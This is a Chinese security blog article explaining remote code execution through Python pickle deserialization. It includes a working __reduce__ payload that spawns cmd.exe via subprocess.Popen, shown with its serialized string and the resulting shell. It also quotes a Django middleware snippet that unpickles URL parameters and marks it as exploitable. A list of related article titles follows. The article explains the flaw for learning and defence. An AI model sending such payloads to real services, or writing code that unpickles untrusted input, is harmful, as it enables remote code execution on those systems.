Python Pickle反序列化带来的安全问题

GaRY | 2013-01-14 15:00

Author: wofeiwo#80sec.com

数据序列化,这是个很常见的应用场景,通常被广泛应用在数据结构网络传输,session存储,cache存储,或者配置文件上传,参数接收等接口处。主要作用是为了能够让数据在存储或者传输的时候能够单单只用string的类型去表述相对复杂的数据结构,方便应用所见即所得,直接进行数据交流处理。

然而安全问题也常常出现在这里。随手点点就有,PHP的unserialize/__wakeup()漏洞、struts的ognl、xml解析的一系列漏洞、当然,还有最近Ruby on Rails的xml/yaml。

而这里的问题,不发生则已,一发生,则通常就是个天大的0day:远程代码执行。

原因为何?和我们的第一段所说的应用场景有关。语言需要从string去解析出自己的语言数据结构,必然要去从这个string中做固定格式的解析,然后在内部把解析出来的结果去eval一下;或者,为了保证解析出来的内容为被序列化时候的Object状态,要调用一下状态保存的函数__wakeup。

无论哪种,都是可能被有心人利用,从而接管流程,让框架让语言执行到他们的代码的。往深入了讲,往“道”的方向提升,这种模式是计算机从诞生之日就存在的原罪之一:“数据和操作指令保存在一起不加区分,从而很容易被误解。”

仔细想想,缓冲区溢出(数据覆盖了内存的其他区域被当作操作指令执行),SQL注入(数据被当作控制语句的一部分被执行),XSS(同sql注入)。哪一种大的安全问题不是这个原罪造成的?

好了,扯了这么多,跑题的严重,还是言归正传吧。

我们知道各大语言都有其序列化数据的方式,Python当然也有,官方库里提供了一个叫做pickle/cPickle的库,这两个库的作用和使用方法都是一致的,只是一个用纯py实现,另一个用c实现而已。使用起来也很简单,基本和PHP的serialize/unserialize方法一样:

import cPickle

data = "test"

packed = cPickle.dumps(data) # 序列化

data = cPickle.loads(packed) # 反序列化

>>> packed

"S'test'\np1\n."

同样pickle可以序列化python的任何数据结构,包括一个类,一个对象:

>>> class A(object):

...     a = 1

...     b = 2

...     def run(self):

...         print self.a, self.b

...

>>> cPickle.dumps(A())

'ccopy_reg\n_reconstructor\np1\n(c__main__\nA\np2\nc__builtin__\nobject\np3\nNtRp4\n.'

这里可以看到,连code都被序列化进去了。如果我们这个run函数是可以被自动执行的,那就可以形成一个很完美的远程执行。

如何让run函数被自动执行呢?类似于php的__wakeup魔术方法,python也有其自己的方法,例如__reduce__,可以在被反序列化的时候执行。具体内容请参考Python的官方库文档。而且并不止这一个函数。

我们利用__reduce__做一个测试:

>>> class A(object):

...     a = 1

...     b = 2

...     def __reduce__(self):

...         return (subprocess.Popen, (('cmd.exe',),))

...

>>> cPickle.dumps(A())

"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

然后新开一个py的命令行,模拟是接收方:

>>> cPickle.loads("csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n.")

>>> Microsoft Windows XP [版本 5.1.2600]

(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\testuser>exit

Use exit() or Ctrl-Z plus Return to exit

>>>

bingo,很完美的一个shell,不是么:)

只要你可以控制序列化中的内容,就可以让接收方去执行你提供的代码。

那么现实中是否有类似的代码呢?请灵活使用google

我这里随便搜了一个很有代表性的代码:http://djangosnippets.org/snippets/2126/

def unpickle_stats(stats):

"""Unpickle a pstats.Stats object"""

stats = cPickle.loads(stats) #注意这里

stats.stream = True

return stats

def process_request(self, request):

"""  Setup the profiler for a profiling run and clear the SQL query log.

If this is a resort of an existing profiling run, just return  the resorted list.  """

def unpickle(params):

stats = unpickle_stats(b64decode(params.get('stats', ''))) #这里直接从url参数中获取了

queries = cPickle.loads(b64decode(params.get('queries', ''))) #这里也是

return stats, queries

if request.method != 'GET' and \

not (request.META.get('HTTP_CONTENT_TYPE',

request.META.get('CONTENT_TYPE', '')) in

['multipart/form-data', 'application/x-www-form-urlencoded']):

return

if (request.REQUEST.get('profile', False) and

(settings.DEBUG == True or request.user.is_staff)):

request.statsfile = tempfile.NamedTemporaryFile()

params = request.REQUEST

if (params.get('show_stats', False)

and params.get('show_queries', '1') == '1'):

# Instantly re-sort the existing stats data

stats, queries = unpickle(params) # 这里调用了

这是某个开发者写的django middleware的代码,很easy被利用,不是么?

python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题相关推荐

  1. python pickle反序列化漏洞_Python反序列化漏洞

    1.什么是序列化 和php的序列化一样,是把string,字典,数组,类这些数据当作字节储存 2.pickle pickle.dumps()和pickle.loads() 分别是序列化和反序列化 pi ...

  2. python pickle反序列化漏洞_Python 的另外几个反序列化漏洞检查点

    哔哔两句 最近刚做完某个白盒渗透项目,通读了整个项目代码后发现了几个比较明显的 Python 反序列化漏洞的问题. 代码中使用了 Pickle 这个 Python 反序列化模块,除此以外还发现了另外一 ...

  3. php反序列化漏洞实验,PHP反序列化漏洞简介及相关技巧小结

    原标题:PHP反序列化漏洞简介及相关技巧小结 *严正声明:本文仅限于技术讨论与分享,严禁用于非法途径 要学习PHP反序列漏洞,先了解下PHP序列化和反序列化是什么东西. php程序为了保存和转储对象, ...

  4. 反序列化漏洞例子——fastjson反序列化漏洞的调试与分析

    文章目录 环境 fastjson介绍 漏洞原理 反序列化漏洞一 影响版本 基于JNDI注入的利用链 调试一下 基于JdbcRowSetImpl的利用链 JNDI LDAP 限制 JNDI+RMI利用 ...

  5. php反序列化漏洞原理,PHP反序列化原理及漏洞解析

    什么是PHP序列化 PHP序列化与反序列化的过程 一个反序列化漏洞的例子 CVE-2016-7124 一. 什么是PHP序列化与反序列化 1. PHP序列化 PHP序列化是指把变量转化成可保存或传输的 ...

  6. php反序列化漏洞条件,PHP反序列化漏洞总结

    写在前边 做了不少PHP反序列化的题了,是时候把坑给填上了.参考了一些大佬们的博客,自己再做一下总结 1.面向对象 2.PHP序列化和反序列化 3.PHP反序列化漏洞实例 1.面向对象 在了解序列化和 ...

  7. python格式化字符串漏洞_Python新型字符串格式漏洞分析及解决方案

    最近一个python字符串格式化的漏洞引起了我的注意,今天就来说一下Python引入的一种格式化字符串的新型语法的安全漏洞进行了深入的分析,并提供了相应的安全解决方案. 当我们对不可信的用户输入使用s ...

  8. python open 函数漏洞_Python系列之——编写已知漏洞exp实现批量getshell

    作者:奶权 前面一篇Python系列之--zzcms漏洞挖掘到exp编写相信大家应该都读过了 大家应该都觉得用程序实现自动化漏洞利用很爽吧 今天就来教一下大家怎么通过已知的漏洞编写exp 0x01 漏 ...

  9. python open 函数漏洞_python和django的目录遍历漏洞

    (20210205学习笔记) 攻击者通过请求 http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scrip ...

最新文章

  1. 基于机器学习的捡球机器人设计与实现(探索)第6篇——另一种高效追踪网球思路
  2. LSMW批处理使用方法(01)_总述及界面说明
  3. Linux基础之文件权限详解
  4. vue——去除白色边框
  5. 小大整数对象池及intern机制
  6. Flink学习笔记03:将项目打包提交到Flink集群上运行(Java版)
  7. 模型集成 | 14款常规机器学习 + 加权平均模型融合
  8. CSS从大图片上截取小图标的使用
  9. python相关系数显著性检验矩阵_python散点图及相关系数矩阵计算和相关性验证
  10. 基于PID控制的车辆LKA算法
  11. 英语对于软件开发者来说到底有多重要?
  12. ZoomIt v4.5
  13. 小姜技术博客开通啦!
  14. 常见帧率 与 帧率运用
  15. python报错No module named XXX通用解决方法
  16. Win10企业版激活
  17. list_ndarray_csr_lil占用空间比较
  18. 微极速彩虹易支付第四方免签支付平台源码
  19. 肖邦圆舞曲14首 个人赏析
  20. 近亲结婚能不能申请婚姻无效

热门文章

  1. 判断点是否在一个任意多边形中
  2. 数字证书管理工具keytool常用命令介绍
  3. DevExpress ChartControl大数据加载时有哪些性能优化方法
  4. 基础篇:事件的发送和处理
  5. 删除不同粒度的事实表记录中重复的度量值数据的SQL语句
  6. SoapRpcMethodAttribute.OneWay属性
  7. VS2022 C28251 WinMain批注不一致的解决方法
  8. 人工智能专业国内排名前30的高校,与你想的一样吗?
  9. 和USB设备建立通信的过程
  10. mysql concat 去掉重复_mysql - concat字段具有共同的重复密钥,并删除那些重复项,从而留下一个 - 堆栈内存溢出...